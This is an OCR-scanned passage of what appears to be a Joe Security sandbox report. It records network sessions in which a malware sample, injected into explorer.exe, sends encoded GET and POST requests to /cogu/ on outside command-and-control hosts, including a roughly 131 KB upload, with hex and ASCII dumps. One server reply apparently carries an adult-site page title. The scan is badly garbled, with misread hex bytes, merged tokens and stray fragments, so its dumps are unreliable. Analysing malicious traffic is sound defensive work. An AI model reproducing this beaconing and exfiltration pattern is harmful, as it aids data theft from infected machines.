52 55 4d 39 76 57 6b 50 47 66 2d 41 5f 31 6b 71 47 6b 37 76 74 4c 54 56 48 69 36 77 2d 28 44 69 56 6e 68 59 75 67 79 5
2733138773359 76 6b 50 73 35 6e 66 4c 68 7e 36 53 62 4b 52 57 36 62 6¢ 50 6d 78 34 76 59 4f 58 4b 77 61 54 65 49
45 47 28 30 28 7a 32 31 36 69 4a 6e 49 32 36 4c 45 46 54 5f 75 57 44 71 4b 63 46 59 4e 42 30 57 49 69 78 52 64 49 62
6e 77 31 7e 4a 7e 67 53 78 28 6f 39 56 28 78 68 66 79 48 32 31 4e 59 54 47 47 35 67 78 49 30 71 2d 38 73 6b 35 63 47
34 71 4b 44 4f 41 4f 38 52 77 34 36 77 4c 4a 79 39 66 34 43 52 35 69 4b 54 76 4f 39 63 64 6a 61 6a 61 30 6b 6f 43 70 52
33 72 4e 7a 62 4e 6e 76 76 62 4f 69 28 6d 28 42 6f 5f 53 53 39 53 49 50 79 32 39 74 7a 79 28 59 56 63 42 56 53 41 4a 4d
36 4a 68 57 28 4e 78 67 30 48 77 65 6e 62 47 6a 71 39 37 6e 41 66 67 58 76 65 50 2d 51 77 67 48 4f 55 78 47 64 46 4a
63 4f 43 47 49 4a 35 6a 4c 41 34 77 6f 76 7a 7a 6f 4a 74 46 4e 46 39 68 55 79 42 61 74 55 69 63 72 71 32 63 2d 61 53 41
79 48 64 46 4d 53 78 28 44 71 41 4a 75 4d 35 6a 47 61 65 6¢ 4c 64 36 6¢ 4f 77 6f 64 4555 77 28 63 30 71 6¢ 6d 57 6b 44
51 4a 6d 54 69 38 3534 57 3236 78 32 74 71 74 72 72 73 6a 48 74 67 6a 58 78 68 37 62 7a 4b 56 79 69 6b 59 4a 53 74
46 30 44 45 52 48 73 6d 6d 43 46 5f 56 70 36 78 66 4b 4b 6a 76 30 49 48 65 62 76 6d 76 54 52 2d 33 45 4b 68 77 67 38
43 47 75 43 79 6a 70 67 6f 6d 50 6¢ 6¢ 4e 37 55 73 37 6¢ 36 4c 4a 6f 7a 45 66 41 30 77 58 77 6e 6e 61 61 57 35 52 32 49
39 39 31 4b 56 63 6b 6b 59 50 53 75 33 6b 5a 68 55 43 47 5a 68 56 4a 74 55 68 44 4f 46 67 79 4a 6a 6a 78 46 52 6a 36
77 47 4c 4a 31 77 32 53 6d 39 6a 42 7a 32 45 42 75 4d 30 58 75 39 38 4f 30 47 32 55 77 44 33 4f 46 4b 42 62 4b 47 59
49 4f 30 55 48 7a 55 56 32 63 53 34 72 6b 33 4e 4e 71 51 74 47 54 58 4e 32 28 69 51 49 39 44 4a 59 72 6d 67 48 59 63
7952 41 57 4c 63 70 41 44 4a 7e 4e 53 6¢ 73 48 6b 69 6e 6d 71 65 74 4e 64 34 6b 4f 74 33 4a 69 46 70 74 64 47 6e 71
4272 66 77 34 57 61 51 62 66 70 37 42 30 43 41 78 68 37 30 56 6¢ 45 50 45 68 37 63 6a 67 43 67 75 44 63 42 36 30 65
57 54 64 49 46 58 61 74 70 37 53 61 44 4f 4a 6b 59 57 73 37 6¢ 55 39 56 30 4a 41 47 42 54 7e 76 79 61 6¢ 52 38 30 51
31534259 4328 65 7e 53 48 30 44 76 61 50 47 46 4d 4b 53 6¢ 78 30 34 53 78 6a 6b 39 62 4e 57 37 66 46 67 69 49 73
6b 56 5a 4a 78 37 74 4b 7e 52 38 6a 68 74 38 68 79 51 47 49 75 73 70 4d 7e 59 6d 7a 53 4e 36 50 78 39 6¢ 4e 33 46 64
3852 31 64 6e 32 50 73 4a 6e 51 73 6d 63 62 59 59 63 70 4f 58 57 55 73 66 36 45 6a 67 76 57 64 64 4d 31 61 5f 74 76
7a5859 67 72 7528 71 41 35 34 50 37 66 65 45 36 62 69 4b 4d 30 78 69 4c 47 74 32 78 64 41 47 49 44 6e 67 47 77 Te
79 36 6a 56 34 31 61 73 4576 77 57 36 35 4a 48 73 31 4a 64 31 47 73 43 6f 30 6a 6f 76 47 31 36 78 6f 6b 55 6¢ 39 70 4d
67 6d 6b 30 39 73 58 79 56 6e 30 4c 62 28 6f 5a 75 4d 4d 42 6¢ 6f 71 4a 32 42 6d 28 35 69 6b 77 49 32 75 68 44 37 4c 6¢
68 7e 62 4f 65 7e 70 67 6e 65 6b 72 30 59 38 66 4c 76 47 33 67 6e 78 4f 68 39 5a 56 57 41 6b 43 77 39 73 6¢ 59 7e 4c 4f
66 6¢ 59 65 52 52 4e 70 6b 79 66 51 43 76 68 51 75 56 38 4a 6e 65 4d 61 42 44 37 47 30 34 5f 4f 66 61 61 65 53 36 45 31
57 6a 34 46 51 4d 6e 50 6¢ 62 56 53 52 6b 61 31 4d 6e 68 6d 56 6¢ 65 4a 68 47 6b 78 73 70 49 51 32 38 5f 32 6b 4a 4d
4b 45 42 37 6e 38 50 69 6f 50 28 38 71 71 4f 55 71 57 38 6f 47 61 64 4c 30 53 54 4d 6b 4a 5a 71 68 76 6a 4b 4b 35 48 6b
66 76 62 34 32 30 6e 64 5a 36 79 54 61 70 77 51 69 42 59 53 69 39 39 59 53 57 52 70 63 69 57 4e 38 73 4a 4b 54 51 50
5f 4a 69 4e 61 39 63 6b 66 42 58 7e 44 41 6d 48 48 52 5f 64 58 48 42 72 54 31 50

Data Ascii: E6=XUoH4unFLpFgbDvdCJrW6knBVu(zPOvY1U23nrJbSAhkecPQIZApy5~VJf6fM2B4bljwi98V2BG
1gtOX9FXXKFEFVELGRYbn77PAEV805e6CHMXEQqJr9HsFy28hLF6adnslIMtiBmIK_cX1p1Xq07a4EBAX_sICXcIJHNP
DdPaFolnog630d6FOx_Q3r9cMdRUMOVWKPGf-A_1kqGk7vtLTVHi6w-(DiVnhYugyRs18w3YVkPs5nfLh~6SbKRW6b
IPmx4vYOXKwaTelEG(0(z216iJn126LEFT_uWDgKcFYNBOWIixRdIbnw1~J~gSx(09V(xhfyH21NYTGG5gxI0g-8sk
5cG4gKDOAO8Rw46WLIY9f4CR5iKTvO9cdjaja0koCpR3rNzbNnvvbOi(m(Bo_SS9SIPy29tzy(YVCBVSAIMBEIhW(NX
gOHwenbGjg97nAfgXveP-QwgHOUXGdFJcOCGIJ5jLA4wovzzoJtFNFOhUyBatUicrq2c-aSAyHdFMSx(DgAJuM5jGa
elLd6l0wod EUw(cOgimWkDQJImTi854W26x2tqtrrsjHtgjXxh7bzKVyikYJStFODERHsmmCF_Vp6xfKKjvOIHebvmvTR-
3EKhwg8CGuCyjpgomPIIN7Us7I6LJozEfAOWXwnnaaW5R21991KVckkYPSu3kZhUCGZhVJtUhDOFgyJjjxFRj6w
GLJ1w2Sm9jBz2EBUMOXU9800G2UWD30FKBbKGYIO0UHZUV2cS4rk3NNgQIGTXN2(iQI9DJIYrmgHYcyRA
WLcpADJ~NSIsHkinmgetNd4kOt3JiF ptdGngBriw4WaQbfp7BOCAxh70VIEPEh7cjgCguDcB60eWTdIFXatp7SaDOJ
kYWs7IU9VOJAGBT~vyalR80Q1SBYC(e~SHODvaPGFMKSIx04Sxjk9bNW7fFgilskVZIx7tK~R8jht8hyQGIluspM~Ym
zZSN6Px9IN3Fd8R1dn2PsInQsmchYYcpOXWUsf6EjgvWddM1a_tvzXYgru(qA54P7feE6bIKMOxXILGt2xdAGIDngGw~
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kBytes
Timestamp transferred
Session ID Source IP
48 192.168.11.20
kBytes
Timestamp transferred
Oct 13, 2021 7883

15:52:59.814057112 CEST

Copyright Joe Security LLC 2021

Direction

Source Port

49845

Direction

ouT

y6jV41lasEvwW65IHs1Jd1GsCo0jovG16xokUI9pMgmk09sXyVnOLb(oZuMMBIlogJ2Bm(5ikwl2uhD7LIh~bOe~pgne
8fLvG3gnxOh9ZVWAKCwIslY~LOflYeRRNpkyfQCvhQuV8IneMaBD7G04_OfaaeS6E1Wj4FQMnPIbVSRkalMnhm
VleJhGkxsplQ28_2kJMKEB7n8PioP(8qqOUqW80GadL0STMkJZghvjKK5Hkfvb420ndZ6yTapwQiBY Si99Y SWRpciW
N8sJKTQP_JiNa9ckiBX~DAmMHHR_dXHBrT1PUbcYZBehkq2g1Q3N49ugHrg8NH9VFjxwpKgNkFLpU1fzsCW-7xmN5Je
6U5Z9RbYjeq3Q6SmscIxZplRVZPhulAzBIIXjSZ84MkVcONqOspPOsaFaAhWtF5uZERVJIQ4ABfGUbZEqtCNByNDu7C
1b3P18n1J6hnykA8J18IIWvkt1E~N92KCG-lkizR6gBhr1JZwwjMagor8liOcrkikUep311WfZ4opDBypH_ABFTbDO
EYUni2N2T2TTePygyQY5HBN(-6bWMjHIZ2GbCiXPrJXrqyivDGE3uRX1gxSvjRmP85CynTwc0F4hJSz8eKMtVuMsaC
E8VWxXW7Z5b0tXgjVeuYrVCIE-tZYExVkYtoUSopsKWCbmDpJsRNJcdDjoKK9VXm6FuvfcLaD9h7EOVcuEBolvXLjaV
Y0675JTqBIC8BADKm1bkT_DOEIEsrFKfhAbSMdTJIb4G4tKu504xrHGjqVgC1PthzfD5ar_RjMGGCiu8TVRgRVBIQZX9
b6z04tlwHU79bTXxS6XBLSs1K7tx8RUn8K~ySr~Hd-lwXsxm9cWcSN1gau8cSTn9U2fr1t6cJ3P25zCAOGzzSKwiUGK
YMHJb10umwM2ggDh32dOg3kJ-nDIcejSOhmESIA1khzVK3RsSWMEY55YL4BajBliFU1sIJM(P9J0EVUOpP3ik1A7Th9VZS
TCZktfbyO~LavxBjROD8X(PvGB2cA~ugrgrbxe7fVUBnhyj0I9yhR5n43kkoAVv~IKHN946V5QBooosLr1EH7jfsKiGul2Dczluc
gAGIErY(D7HeNmbQWZdLNdfKJI~7YISXXLdjkN~1h_vbxCGH7jAad1LF77wgKkRc7jhpoVLAOrHUhEQNx92jhMrOhog
1(M64kHkbJsSRxrMWY 6pgR5kb6g0(fG_bd50B9hpibz6u3gmmN~S7rSvjhwMOBzB50uZ7ejm50uQ2KGdZTTasCzJtsv
mitKOXONpM8xSbSPtDkWdYY2Jx-XAwJit4DmD(7DSIHQ4AMBhHU_DZR2wJqQIWkVFylzrkudljC5clA5(ka3cUOhRZp
VjT6ceN1JQj4L4Q(1yzwYIkBuhCwClo9S(h7JInnYQoy~xFwP7c5rhgww9Z CusFA~w8WWaAEIgrTWW9liQ~oNvOGTY9
PbHit65tLhYolAlhTtRfehwtOtByNQAVEf5sRuswQGg0_oQ59TmH8YRMTNESDKEzUID2Esk8PklqY TjHKhKiD3waz7
jDg2yHxjLzjtHgxa9ddVQb4rL2FbDkMCoWO0ImmgpEMLWhRDGGqOChS5fj~eyPgTc2DoEF~Q1GFpO_ALniJKfKOOpPT]
XHridwWzWFGMuuYXMabr1M8k8~S5ZDc8byz82YRg9Vh3Rr02I18u2EhdhgN1cp4wCC7rhSef8r8kX9076q~ktyzON5h
6x3ecCfWUNMZyJ6TRwUHib-1bdo~tASzJfgKwakfL14EO8Azy7P3e6kiTOT7800(30AmgVzrol7HVIObfjxp10mloQ
rNsDGwjMXj9QBMcyPz1FnpuUypEIVBXQZ~JE09RIiJt6stBtTK7cSHRrnrDxaxzDmTZzgAYM(99tgzIbK1yolRQA569
gKmjJ6hR1~soAG3f8EnJktR4aN1EZmQ8Iz0VWn3IdXPIEYhq3Fza4qEpD7m9dcPCCzEoFGOMIWUrQrmrfFggYZKG3g
e3Ab65zNoXro2YSj4SM7tQyGdU3YZndy8G4UNDIRI9is8ZbqGWLuYamtomwi6OPj8s2wexuymlhc89tiGrCydfY43YcvSL-
54fZ7EKseHSqqF8V3Q5nhu0EOKsUwyzobQSLTMa46NEZBy~QJhdeiSbectiFN7LOKQUUMOY5Im8GW4I_2em1X
PpU65fSWeCEEKNBeRQ3kD2H4a1CmbFUTNzM(1aLF9Ps~DsxIHpXGWgSrv8iHBUhoNOLelGfégg_Fz2TdfGpgs4F19J
Xfpio8gwpAgbOafeqKc7TVXaQSSkjNt4APANGBdNS8a8mw5QQVT1n6_cAFi9-m_1R1_ArYs6kUPSqOmoCZyB1S4wth
05nfmxstLsTCc8Znz4GiG4lszhnS5fBwnDKZnJUHfMaP3P4YjtJG40rcK3nSpiSbEWU4Na_TX4n03l0B4yJv696Qtz
UCQFEazZ0pBEjBY37m8g8n10hogRHLeijoXpKREH1TSLVPYfubFhT1g79dt8YVXpSnEFeWPMAKQF2WpWK
Ho9SpgdBlasy9taAUXFg4D7YMRwWYJ8S77Cjp6Y5fE0X6ZEV60dHINKCIp758ZqqvXav6Q3pA3HeEpG8(XCMGSOW~G3
i~mVwyx9m1pltjd2lOPHS7W_mO0Gy0IXeHauFsOQkI1XNfoGCWSTP8ELRI27KHamDLcHNgEWcjhJdEYQ1XoVdMDo-o
mGHKBVAD-rW(DHcsC(mRVIDIJjJQVCAAASESTZPvvnu4nL0JeXavF6HMYrGGlIXId4DutaGQZoHNeJ4pOtTwdpx2~2v
kgqzUUIMkWsWgRquA5MmZ1a8lbEczvZUrDX9gmgmDoWIWWyKX84M2E-NOWY Nyw28ZudiYMayHwmy_RkYmD
OYmJIpZYOaK-FWzh8T95Q08HCTmM8Ggy-SiPY4YJKDkmEADG6zobb2K91nfB2W(2rc21ZtCd162KznK204l-vWfantxgA
mizDKP8WWIEW,j~Dp2akUwgfo3jAmbdCJedHJIwy3YfovhABcrUSpeSUSMIWIQAIVMWX7u

Destination IP Destination Port Process

154.215.231.81 80 C:\Windows\explorer.exe

Data

GET /cogu/?E6=YWcImILWetVQGhipA+G2uDb+SeX0Cd/MjDmvOZQMTg5SMMVY|LI+xM6WaOuTEINNdOXk&GJIE=6IT
PJF HTTP/1.1

Host: www.cinargeridonusum.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:
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kBytes
Timestamp transferred

Oct 13, 2021 7927
15:53:00.043307066 CEST

Session ID Source IP

49 192.168.11.20
kBytes

Timestamp transferred

Oct 13, 2021 7996

15:53:05.228328943 CEST

Copyright Joe Security LLC 2021

Direction

IN

Source Port
49846

Direction
ouT

Data

HTTP/1.1 200 OK

Server: nginx

Date: Wed, 13 Oct 2021 13:52:59 GMT

Content-Type: text/html

Content-Length: 1824

Connection: close

Vary: Accept-Encoding

Data Raw: 3c 68 74 6d 6¢ 20 78 6d 6¢ 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78
68 74 6d 6¢ 22 3e 0d Oa 3c 68 65 61 64 3e 0d Oa 3c 73 63 72 69 70 74 3e 64 6f 63 75 6d 65 6e 74 2e 74 69 74 6¢ 65 3d
27 bb aa bl bl ce cb bl d2 cd b6 d7 ca b9 dc cO ed d3 dO cf de b9 ab cb be 27 3b 3c 2f 73 63 72 69 70 74 3e 0d Oa 3c 74
69 74 6¢ 65 3e 26 23 33 37 33 32 36 3b 26 23 33 33 34 35 37 3b 26 23 33 35 32 37 30 3b 26 23 33 39 30 35 37 3b 26 23
3232333132 3b26 233332343437 3b 26 23 33 35 32 36 36 3b 26 23 33 30 34 37 35 3b 26 23 33 35 32 37 30 3b 26
233339 30 35 37 3b 5f 26 23 33 35 38 34 31 3b 26 23 33 32 34 37 33 3b 26 23 32 30 30 31 30 3b 26 23 33 323539333
b 26 23 33 31 34 34 39 3b 26 23 32 31 38 33 34 3b 26 23 32 34 36 31 33 3b 26 23 32 34 36 31 33 3b 26 23 32 34 36 31
33 3b 26 23 35 30 3b 26 23 34 38 3b 26 23 35 30 3b 26 23 34 39 3b 5f 26 23 32 37 37 30 30 3b 26 23 32 31 34 30 37 3b
26233236 37 3932 3b 26 23 33 33 34 35 37 3b 26 23 33 32 39 30 35 3b 26 23 32 37 34 34 32 3b 26 23 32 32 33 31 32
3b 26 23 33 32 34 34 37 3b 26 23 32 35 37 37 33 3b 26 23 32 35 39 31 38 3b 5f 26 23 32 31 33 32 30 3b 26 23 32 32 38
3132 3b 26 23 33 31 31 36 39 3b 26 23 32 30 31 35 34 3b 26 23 32 35 31 30 34 3b 26 23 32 34 31 38 30 3b 26 23 32 34
34 3333 3b 26 23 33 38 34 39 38 3b 26 23 32 32 33 31 32 3b 26 23 33 32 34 34 37 3b 26 23 33 35 32 36 36 3b 26 23 33
30 34 37 35 3b 26 23 36 36 3b 26 23 38 34 3b 26 23 33 32 3b 3c 2f 74 69 74 6¢ 65 3e 0d Oa 3c 6d 65 74 61 20 6e 61 6d
65 3d 22 6b 65 79 77 6f 72 64 73 22 20 63 6f 6e 74 65 6e 74 3d 22 26 23 33 37 33 32 36 3b 26 23 33 33 34 35 37 3b 26
2333353237 30 3b 26 23 33 39 30 35 37 3b 26 23 32 32 33 31 32 3b 26 23 33 32 34 34 37 3b 26 23 33 35 32 36 36 3b
26 23 33 30 34 37 35 3b 26 23 33 35 32 37 30 3b 26 23 33 39 30 35 37 3b 5f 26 23 33 35 38 34 31 3b 26 23 33 32 34 37 3
33b 26 23323030 31 30 3b 26 23 33 32 35 39 33 3b 26 23 33 31 34 34 39 3b 26 23 32 31 38 33 34 3b 26 23 32 34 36
3133 3b 26 23 32 34 36 31 33 3b 26 23 32 34 36 31 33 3b 26 23 35 30 3b 26 23 34 38 3b 26 23 35 30 3b 26 23 34 39 3b
5f 26 23 32 37 37 30 30 3b 26 23 32 31 34 30 37 3b 26 23 32 36 37 39 32 3b 26 23 33 33 34 35 37 3b 26 23 33 32 39 30
35 3b 26 23 32 37 34 34 32 3b 26 23 32 32 33 31 32 3b 26 23 33 32 34 34 37 3b 26 23 32 35 37 37 33 3b 26 23 32 35 39
3138 3b 5f 26 23 32 31 33 32 30 3b 26 23 32 32 38 31 32 3b 26 23 33 31 31 36 39 3b 26 23 32 30 31 35 34 3b 26 23 32
3531 30 34 3b 26 23 32 34 31 38 30 3b 26 23 32 34 34 33 33 3b 26 23 33 38 34 39 38 3b 26 23 32 32 33 31 32 3b 26 23
33323434 37 3b 26 23 33 35 32 36 36 3b 26 23 33 30 34 37 35 3b 26 23 36 36 3b 26 23 38 34 3b 26 23 33 32 3b 22 20
2f 3e 0d Oa 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 26 23
3337 333236 3b 26 23 33 33 34 35 37 3b 26 23 33 35 32 37 30 3b 26 23 33 39 30 35 37 3b 26 23 32 32 33 31 32 3b 26
233332343437 3b 2623 33 353236 36 3b 26 23 33 30 34 37 35 3b 26 23 33 35 32 37 30 3b 26 23 33 39 30 35 37 3b
5f 26 23 33 35 38 34 31 3b 26 23 33 32 34 37 33 3b 26 23 32 30 30 31 30 3b 26 23 33 32 35 39 33 3b 26 23 33 3134 34 3
93b 26 23 32 31 38 33 34 3b 26 23 32 34 36 31 33 3b 26 23 32 34 36 31 33 3b 26 23 32 34 36 31 33 3b 26 23 35 30 3b
26 23 34 38 3b 26 23 35 30 3b 26 23 34 39 3b 5f 26 23 32 37 37 30 30 3b 26 23 32 31 34 30 37 3b 26 23 32 36 37 39 32
3b 26 23 33 33 34 35 37 3b 26 23 33 32 39 30 35 3b 26 23 32 37 34 34 32 3b 26 23 32 32 33 31 32 3b 26 23 3332 34 34
37 3b 26 23 32 35 37 37

Data Ascii: <html xmIns="http://www.w3.0rg/1999/xhtml"><head><script>document.title=";</script><title>&#37326
;&#33457;8#35270;&#39057;&#22312;8#32447;8#35266,;&#30475;&#35270;8#39057;_&#35841;&#32473;8#20010;&#
32593;&#31449;8&#21834;8#24613;&#24613;8#24613;&#50;8#48;&#50;8#49;_&#27700;&#21407;&#26792;8#33457;&
#32905;&#27442;8#22312;8#32447,&#25773;&#25918;_&#21320;8#22812;8#31169;&#20154,8#25104;&#24180;8#24
433;&#38498;8#22312;8#32447,8#35266,8#30475;&#66,;&#84,;&#32;</title><meta name="keywords" content="&#
37326;&#33457;8#35270;8#39057;8#22312;&#32447,8#35266,;&#30475,&#35270;&#39057;_&#35841;8#32473;8#200
10;&8#32593;&#31449;&#21834;&#24613;8#24613;&#24613;&#50;&#48;&#50;&#49;_&#27700;8#21407;&#26792;8#33
457,8#32905;8#27442;&#22312;8#32447,&#25773;8#25918;_&#21320;8#22812;&#31169;&#20154;8#25104;8#24180
;&#24433;8#38498;8#22312;&#32447;&#35266;&#30475;&#66;&#84,8&#32;" /><meta name="description" content
="&#37326;&#33457;&#35270;&#39057;8#22312;&#32447;8#35266;&#30475;&#35270;&#39057;_&#35841;8#32473;&
#20010;&#32593;&#31449;8#21834,;&#24613;&#24613;8#24613;&#50;8#48;&#50;&8#49;_&#27700;8#21407;&#26792;
&#33457;&#32905;8#27442;&#22312;,&#32447,&#2577

Destination IP  Destination Port Process
198.54.117.210 80 C:\Windows\explorer.exe

Data

POST /cogu/ HTTP/1.1

Host: www.domainair. biz

Connection: close

Content-Length: 131140

Cache-Control: no-cache

Origin: http://www.domainair.biz

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://www.domainair.biz/cogu/

Accept-Language: en-US

Accept-Encoding: gzip, deflate

Data Raw: 45 36 3d 59 57 36 50 6a 51 36 4e 4c 51 43 30 58 6b 73 33 4a 64 5a 6e 5a 77 52 43 61 71 67 4d 65 44 46 67 37
44 36 36 4f 52 35 78 53 53 54 68 43 74 36 53 65 33 6a 44 67 37 30 46 35 78 78 49 31 77 7e 6e 44 6¢ 35 63 31 30 6¢ 36
66 4952 7a 50 67 79 63 72 7a 71 54 45 54 28 4b 65 38 54 52 49 52 55 69 79 37 4b 47 51 5f 78 39 79 6b 43 72 56 62 34
39 44 5a 36 6d 32 59 5a 71 65 6b 43 69 51 48 39 69 30 39 54 72 55 35 44 73 5a 48 79 41 78 53 61 37 34 4d 4e 6a 54 66
52 2d 53 59 46 4e 36 45 69 37 4e 67 64 68 72 59 7e 68 6d 36 7a 63 72 7a 52 6d 4c 51 4a 4d 45 6b 46 53 37 77 53 42 39
46 7a 79 4f 33 62 54 4d 73 66 65 41 34 49 62 42 50 51 79 70 63 49 49 32 69 47 46 47 6f 36 61 38 5f 50 78 4c 48 77 31 36
78 53 7a6a 71 74 30 31 39 61 6¢ 57 51 42 4a 6e 61 38 62 69 56 54 55 77 46 7a 78 61 78 7a 6e 49 35 6f 54 55 4e 36 35
45 73 6a 4c 6¢ 72 65 73 7a 63 78 79 46 65 68 41 43 66 66 52 59 39 71 78 45 49 30 77 49 2d 7a 4d 78 4b 71 72 76 46 63
35 4d 64 72 4d 56 33 6e 5f 43 4d 48 54 65 45 38 2d 75 6a 36 52 50 4d 36 2d 28 51 64 61 5a 59 46 5a 7e 69 43 63 62 34
44 4c 63 7a 4b 2d 47 35 4f 61 68 4a 52 58 4c 56 63 33 31 37 66 77 4e 77 5a 6a 4b 4d 6e 66 73 6b 4e 31 71 6f 39 5f 43 55
6d 47 71 34 62 6a 46 56 39 47 41 6a 71 30 4f 6a 38 6b 36 4f 7a 39 45 53 51 41 4c 71 6d 45 55 73 6b 4d 47 31 4e 43 37
4a 36 70 50 4b 39 53 53 6e 6e 44 36 5f 6¢ 46 4d 61 6f 41 63 54 72 2d 4c 4b 6d 2d 69 75 50 36 54 79 6e 48 54 44 32 5f 33
5849 67 74 71 76 78 5a 53 7a 5f 41 52 69 4b 49 7a 35 73 64 63 67 31 41 58 73 58 44 45 32 53 7a 7a 4e 6a 49 4b 52 67
62 79 72 4e 65 72 54 39 32 57 28 4a 62 34 37 41 75 58 4c 4e 48 6¢ 43 4¢c 48 4a 71 59 65 2d 28 47 7a 68 6d 59 63 64 7a
34756172 67 69 41 71 6f 36 2d 33 59 69 59 4b 64 77 34 78 58 39 59 39 6¢ 74 6d 58 5a 7a 78 76 4e 6a 32 76 68 52 4e
4c 6f 64 77 61 4c 65 5a 58 73 35 46 6a 73 67 34 58 50 61 2d 69 38 64 43 78 2d 49 4c 6e 37 34 57 73 5f 61 63 69 6f 78 33

AR R1 Aa A7 RR 2K 77 2N 77 2R KN KR AR 74 20 Rh 4h R7 72 Ad Ad A0 2R AR Aa Ra KA K1 Ad K7 72 K1 AR Ar AR R? Ra R2 7N
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kBytes
Timestamp transferred

Oct 13, 2021 8002
15:53:05.395237923 CEST

Session ID Source IP

5 192.168.11.20
kBytes

Timestamp transferred

Copyright Joe Security LLC 2021

Direction

Source Port

49827

Direction

6d 42 70 42 58 5a 34 33 5a 34 59 4f 38 35 68 30 61 30 71 55 65 6¢ 62 4e 5f 78 6¢ 30 70 62 36 30 2d 51 51 43 4d 31 6d 35
A 37 ab 34 49 30 66 34 42 6b 6¢ 55 31 33 79 34 49 48 55 6d 62 65 6b 44 31 76 52 32 71 65 73 2d 59 6a 53 77 71 4e
72 62 4a 59 4b 6e 4f 56 47 52 62 36 43 55 36 63 56 4e 5a 33 71 5f 46 31 4f 42 43 65 30 64 5a 4e 4d 64 68 42 79 75 34 4e
66 6f 5a 53 28 57 61 72 51 59 32 6¢ 75 45 64 30 7e 34 33 59 62 68 7e 34 43 48 4a 38 39 4e 44 67 76 71 66 43 47 5a 54
5a 4e 4e 52 70 34 6¢ 65 49 54 47 64 76 76 77 52 68 61 37 55 58 44 51 49 6d 42 61 42 4b 67 42 4a 6f 4a 6f 78 58 30 39 6d
79 31 45 6¢ 50 39 77 6e 4b 74 53 36 71 47 47 49 36 4e 36 44 75 78 74 6f 53 28 66 59 66 66 4c 6¢ 6f 36 73 38 4f 66 49 6d
59 68 6f 66 62 6d 38 32 6f 46 41 77 76 72 39 66 73 4a 54 59 64 73 71 70 4e 71 6¢ 4a 5f 37 78 55 73 75 50 4b 32 28 50 37
73 54 5a 55 35 63 4c 6d 33 39 57 4b 36 53 63 56 38 55 6d 4d 4f 73 76 58 35 75 78 4d 6¢ 41 42 4d 51 6f 51 69 5f 48 39 59
6e 30 61 61 50 42 54 78 49 7a 5a 46 74 4c 54 69 4b 68 30 5a 6¢ 4f 4d 4c 35 75 31 52 6a 78 71 44 53 55 5a 69 74 56 68
47 77 35 74 54 61 57 78 69 6f 51 38 6¢ 30 59 43 6¢ 4d 68 53 57 56 68 56 5a 32 76 4b 49 4d 74 76 64 6¢ 6f 31 77 34 32 45
46 34 41 65 35 30 28 56 70 56 49 2d 54 49 38 36 7a 4b 48 79 78 69 32 49 73 55 69 64 4f 34 37 73 52 4f 65 77 38 30 52
76 46 38 6¢ 46 52 30 4e 77 66 55 4d 71 6d 48 6f 41 41 6a 57 4a 57 61 67 4f 33 73 46 64 52 34 68 6a 66 71 51 49 67 79
52 67 6¢ 49 36 47 6¢ 41 57 64 58 37 47 58 66 61 59 6d 73 47 4d 69 59 36 54 72 61 4e 43 78 28 68 6f 53 6a 31 4e 55 74
63 3554 69 47 74 77 63 66 68 4b 53 6d 6b 56 64 52 43 4a 76 39 4a 46 55 51 48 44 76 61 56 31 4a 72 67 6e 65 66 65 52
64387967 39 2d 75 2d 34 71 39 57 7a 47 30 36 48 63 52 55 49 46 4b 55 28 45 48 68 4b 30 5a 49 65 62 4d 4e 63 76 54
54 6e 4b 43 6f 7a 5a 59 59 63 76 33 63 44 7a 76 46 55 32 62 36 73 6d 67 77 55 75 75 50 41 77 67 64 6d 37 36 46 4c 50
78 66 4e 69 37 64 50 4c 4b 70 59 30 54 44 44 73 71 73 4e 70 50 71 74 43 68 44 6¢ 50 6f 72 4b 49 44 6b 63 6a 49 63 65
71 4e 58 39 78 70 6e 38 57 7e 6f 6e 35 79 46 62 6e 7e 71 35 4e 77 50 6d 47 75 31 70 78

Data Ascii: E6=YW6PQ6NLQC0Xks3JdZnZwRCaggMeDFg7D660R5xSSThCt6Se3jDg70F5xxI1w~nDI5c10I6fIR
zPgycrzqTET(Ke8TRIRUiy7KGQ_x9ykCrVb49DZ6m2YZqekCiQH9i09Tru5DsZHyAxSa74MNjTfR-SYFNGEi7Ngdhr
Y~hm6zcrzRmLQJIMEKFS7wSB9FzyO3bTMsfeA41bBPQypclI2iGFGo6a8 PxLHw16xSzjqt019alWQBJIna8biVTUwFz
xaxznl50TUNB5Es|LIreszcxyFehACffRY9gxEIOwl-zMxKgrvFc5MdrMV3n_CMHTeE8-uj6RPM6-(QdazZYFZ~iCcbh4DLczK-
G50ahJRXLVc317fwNwZjKMnfskN1go9 CUmMGQ4bjFVIGAjq00j8k60z9ESQALIMEUSKMGINC7I6pPKISShn
D6_IFMaoAcTr-LKm-iuP6 TynHTD2_3XIgtqvxZSz_ARiKIz5sdcglAXsXDE2SzzNjIKRgbyrNerT92W(Jb47AuXLNH
ICLHJgYe-(GzhmYcdz4uargiAqo6-3YiYKdw4xX9Y9ltmXZzxvNj2vhRNLodwaleZXs5Fjsg4XPa-i8dCx-ILn74Ws_aciox3CaJ
GX5WOWBPV{tokKgsmMISfIiTQMWSQFLChnbpmBpBXZ43Z4Y085h0a0qUelbN_xI0pb60-QQCM1m5BP7K4I0f4BKIUL
3y4IHUmbekD1vR2qes-YjSwqNrbJYKnOVGRb6CU6cVNZ3q_F10BCe0dZNMdhByu4NfoZS(WarQY 2luEd0~43Ybh~4C
HJ89NDgvgfCGZTZNNRp4lel TGdvvwRha7UXDQImBaBKgBJoJoxX09my1EIP9wnKtS6qGGI6N6DuxtoS(fYffLIo6s8
OflmYhofbm820FAwvr9fsJTYdsgpNgld_7xUsuPK2(P7sTZU5cLm39WK6ScV8UmMMOsvX5uxMIABMQoQi_H9YnOaaPB
TxIzZFtLTiKh0ZIOML5u1RjxqDSUZitVhGw5tTaWxioQ8I0Y CIMhSWVhVZ2vKIMtvdlolw42EF4Ae50(VpVI-TI86zKHyxi2IsUi
d047sROew80RVF8IFRONWfUMgmHoAAWJIWagO3sFdR4hjfqQIgyRglI6GIAWdAX7GXfaYmsGMiY6TraNCx(hoSjINUt
